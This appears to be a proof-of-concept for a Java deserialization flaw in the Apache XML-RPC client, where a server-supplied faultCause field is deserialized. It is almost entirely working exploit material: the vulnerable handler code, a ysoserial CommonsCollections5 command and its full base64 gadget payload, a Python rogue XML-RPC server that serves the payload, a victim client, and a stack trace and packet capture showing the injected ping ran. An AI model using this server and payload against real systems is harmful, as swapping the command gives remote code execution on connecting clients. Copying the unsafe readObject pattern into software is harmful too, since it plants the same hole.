protected void addResult(Object pResult) throws SAXException {
  if (isSuccess) {
    super.setResult(pResult);
  } else {
    Map map = (Map) pResult;
    Integer faultCode = (Integer) map.get("faultCode");
    if (faultCode == null) {
      throw new SAXParseException("Missing faultCode", getDocumentLocator());
    }
    try {
      errorCode = faultCode.intValue();
    } catch (NumberFormatException e) {
      throw new SAXParseException("Invalid faultCode: " + faultCode,
        getDocumentLocator());
    }
    errorMessage = (String) map.get("faultString");
    Object exception = map.get("faultCause");
    if (exception != null) {
      try {
        byte[] bytes = (byte[]) exception;
        ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
        ObjectInputStream ois = new ObjectInputStream(bais);
        errorCause = (Throwable) ois.readObject();
        ois.close();
        bais.close();
      } catch (Throwable t) {
        // Ignore me
      }
    }
  }
}

$ java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections5 "ping www.google.com" | base64
...
rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAA3NyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIACEIABmZvcm1hdEkACmxpbmVOdW1iZXJMAA9jbGFzc0xvYWRlck5hbWVxAH4ABUwADmRlY2xhcmluZ0NsYXNzcQB+AAVMAAhmaWxlTmFtZXEAfgAFTAAKbWV0aG9kTmFtZXEAfgAFTAAKbW9kdWxlTmFtZXEAfgAFTAANbW9kdWxlVmVyc2lvbnEAfgAFeHABAAAAU3QAA2FwcHQAJnlzb3NlcmlhbC5wYXlsb2Fkcy5Db21tb25zQ29sbGVjdGlvbnM1dAAYQ29tbW9uc0NvbGxlY3Rpb25zNS5qYXZhdAAJZ2V0T2JqZWN0cHBzcQB+AAsBAAAANXEAfgANcQB+AA5xAH4AD3EAfgAQcHBzcQB+AAsBAAAAInEAfgANdAAZeXNvc2VyaWFsLkdlbmVyYXRlUGF5bG9hZHQAFEdlbmVyYXRlUGF5bG9hZC5qYXZhdAAEbWFpbnBwc3IAH2phdmEudXRpbC5Db2xsZWN0aW9ucyRFbXB0eUxpc3R6uBe0PKee3gIAAHhweHNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXlxAH4AAUwAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwdAADZm9vc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl+woepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAAFc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AAXhwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXEAfgAFWwALaVBhcmFtVHlwZXN0ABJbTGphdmEvbGFuZy9DbGFzczt4cHVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJ0AApnZXRSdW50aW1ldXIAEltMamF2YS5sYW5nLkNsYXNzO6sW167LzVqZAgAAeHAAAAAAdAAJZ2V0TWV0aG9kdXEAfgAvAAAAAnZyABBqYXZhLmxhbmcuU3RyaW5noPCkOHo7s0ICAAB4cHZxAH4AL3NxAH4AKHVxAH4ALAAAAAJwdXEAfgAsAAAAAHQABmludm9rZXVxAH4ALwAAAAJ2cgAQamF2YS5sYW5nLk9iamVjdAAAAAAAAAAAAAAAeHB2cQB+ACxzcQB+ACh1cgATW0xqYXZhLmxhbmcuU3RyaW5nO63SVufpHXtHAgAAeHAAAAABdAATcGluZyB3d3cuZ29vZ2xlLmNvbXQABGV4ZWN1cQB+AC8AAAABcQB+ADRzcQB+ACRzcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHg=

def create_fault_deser(payload):
  return b'''<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <fault>
    <value>
      <struct>
        <member>
          <name>faultCode</name>
          <value><int>1337</int></value>
        </member>
        <member>
          <name>faultString</name>
          <value><string>You have been pwned</string></value>
        </member>
        <member>
          <name>faultCause</name>
          <value><base64>%s</base64></value>
        </member>
      </struct>
    </value>
  </fault>
</methodResponse>
''' % (payload)

class Handler(http.server.SimpleHTTPRequestHandler):
  def do_POST(self):
    self.send_response(200)
    self.send_header('Content-Type', 'text/xml')
    self.end_headers()

    self.wfile.write(create_fault_deser(PING_COMMONS_COLLECTIONS))

httpd = socketserver.TCPServer(('0.0.0.0', 8888), Handler)
httpd.serve_forever()

package poc.xmlrpcdeser;

import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
import java.util.Hashtable;
import org.apache.xmlrpc.XmlRpcException;
import org.apache.xmlrpc.client.XmlRpcClient;
import org.apache.xmlrpc.client.XmlRpcClientConfigImpl;

public class VulnerableClient {
    public static void main(String[] args) throws MalformedURLException, XmlRpcException {
        String domainName = "http://127.0.0.1:8888";

        String serverurl = domainName + "/RPC2";
        XmlRpcClientConfigImpl config = new XmlRpcClientConfigImpl();
        config.setServerURL(new URL(serverurl));
        XmlRpcClient client = new XmlRpcClient();
        client.setConfig(config);
        Object[] params = new Object[]{"test", "'tell me you are alive' 1337"};
        Object result = (Object) client.execute("xmlrpc-api", params);
    }
}

$ java -jar target/VulnerableClient-1.0-SNAPSHOT-jar-with-dependencies.jar

$ ./xmlrpc-server.py
127.0.0.1 - - [redacted] "POST /RPC2 HTTP/1.1" 200 -

Exception in thread "main" org.apache.xmlrpc.XmlRpcException: You have been pwned
	at org.apache.xmlrpc.client.XmlRpcStreamTransport.readResponse(XmlRpcStreamTransport.java:205)
	at org.apache.xmlrpc.client.XmlRpcStreamTransport.sendRequest(XmlRpcStreamTransport.java:156)
	at org.apache.xmlrpc.client.XmlRpcHttpTransport.sendRequest(XmlRpcHttpTransport.java:143)
	at org.apache.xmlrpc.client.XmlRpcSunHttpTransport.sendRequest(XmlRpcSunHttpTransport.java:69)
	at org.apache.xmlrpc.client.XmlRpcClientWorker.execute(XmlRpcClientWorker.java:56)
	at org.apache.xmlrpc.client.XmlRpcClient.execute(XmlRpcClient.java:167)
	at org.apache.xmlrpc.client.XmlRpcClient.execute(XmlRpcClient.java:137)
	at org.apache.xmlrpc.client.XmlRpcClient.execute(XmlRpcClient.java:126)
	at poc.xmlrpcdeser.VulnerableClient.main(VulnerableClient.java:21)
Caused by: BadAttributeValueException: foo=1
	at ysoserial.payloads.CommonsCollections5.getObject(CommonsCollections5.java:83)
	at ysoserial.payloads.CommonsCollections5.getObject(CommonsCollections5.java:53)
	at ysoserial.GeneratePayload.main(GeneratePayload.java:34)
Caused by:
BadAttributeValueException: foo=1
	at ysoserial.payloads.CommonsCollections5.getObject(CommonsCollections5.java:83)
	at ysoserial.payloads.CommonsCollections5.getObject(CommonsCollections5.java:53)
	at ysoserial.GeneratePayload.main(GeneratePayload.java:34)

    1   0.000000    127.0.0.1 → 127.0.0.1    TCP 64 49378 → 8888 [SYN]
    3   0.000084    127.0.0.1 → 127.0.0.1    TCP 64 8888 → 49378 [SYN, ACK]
    5   0.000092    127.0.0.1 → 127.0.0.1    TCP 52 49378 → 8888 [ACK]
   11   0.001955    127.0.0.1 → 127.0.0.1    HTTP/XML 259 POST /RPC2 HTTP/1.1
   25   0.002905    127.0.0.1 → 127.0.0.1    HTTP/XML 52 HTTP/1.0 200 OK
   29   0.133997 192.168.1.14 → 216.58.198.196 ICMP 84 Echo (ping) request  id=0x1528, seq=0/0, ttl=64
   34   0.149668 216.58.198.196 → 192.168.1.14 ICMP 84 Echo (ping) reply    id=0x1528, seq=0/0, ttl=51 (request in 29)
   35   1.139284 192.168.1.14 → 216.58.198.196 ICMP 84 Echo (ping) request  id=0x1528, seq=1/256, ttl=64
   36   1.153082 216.58.198.196 → 192.168.1.14 ICMP 84 Echo (ping) reply    id=0x1528, seq=1/256, ttl=51 (request in 35)